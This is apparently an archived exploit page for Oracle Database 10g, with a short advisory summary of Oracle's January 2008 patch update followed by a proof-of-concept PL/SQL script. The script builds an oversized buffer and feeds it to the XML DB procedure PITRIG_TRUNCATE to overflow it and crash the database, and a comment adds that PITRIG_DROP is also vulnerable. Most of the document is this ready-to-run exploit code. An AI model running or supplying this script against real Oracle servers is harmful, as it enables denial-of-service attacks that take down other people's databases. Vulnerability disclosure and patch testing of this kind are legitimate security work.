Oracle Database 10 g - XML DB xdb.xdb_pitrig_pkg Package PITRIG_TRUNCATE Function Overflow

source: https://www.securityfocus.com/bid/27229/info

Oracle has released its critical patch update for January 2008. The advisory addresses 26 vulnerabilities affecting Oracle Database, Oracle Application Server, Oracle Collaboration Suite, Oracle E-Business Suite, Oracle Enterprise Manager, and Oracle People Soft Enterprise.

The issues identified by the vendor affect all security properties of the Oracle products and present local and remote threats. Various levels of authorization are needed to leverage some of the issues, but other issues do not require any authorization. The most severe of the vulnerabilities could possibly compromise affected computers.

/******************************************************************/
/******* Oracle 10g R1 xDb.XDB_PITRIG_PKG.PITRIG_TRUNCATE *********/
/*******                BUFFER OVERFLOW                   *********/
/******************************************************************/
/************    POC exploit , Crash database        **************/
/******************************************************************/
/******************  BY Sh2kerr (Digital Security)  ***************/
/******************************************************************/
/***************** tested on oracle 10.1.0.2.0  *******************/
/******************************************************************/
/******************************************************************/
/*         Date of Public EXPLOIT:  January 28, 2008              */
/*         Written by:              Alexandr "Sh2kerr" Polyakov   */
/*         email:                   [email protected]     */
/*         site:                    http://www.dsec.ru            */
/******************************************************************/
/*  Original Advisory by:                                         */
/*      Alexandr Polyakov [ [email protected]]            */
/*      Reported: 18  Dec 2007                                    */
/*      Date of Public Advisory: January 15, 2008                 */
/*      Advisory: http://www.oracle.com/technology/deploy/        */
/*                security/critical-patch-updates/cpujan2008.html */
/*                                                                */
/******************************************************************/
/*  thanks to oraclefun for his pitrig_dropmetadata exploit       */
/*                                                                */
/******************************************************************/


set serveroutput on
declare
     buff varchar2(32767);
     begin
      /* generate evil buffer */
      buff:='12345678901234567890123456789';
      buff:=buff||buff;
      buff:=buff||buff;
      buff:=buff||buff;
      buff:=buff||buff;
      buff:=buff||buff;
      buff:=buff||'0012345678901234567890123sh2kerr';
      /* lets see the buffer size */
      dbms_output.put_line('SEND EVIL BUFFER SIZE:'||Length(buff));
      xDb.XDB_PITRIG_PKG.PITRIG_TRUNCATE(buff,buff);
     end;
   /


/* P.S.      xDb.XDB_PITRIG_PKG.PITRIG_DROP is also vulnerable */


/******************************************************************/
/*************************** SEE U LATER  ;)  ***********************/
/******************************************************************/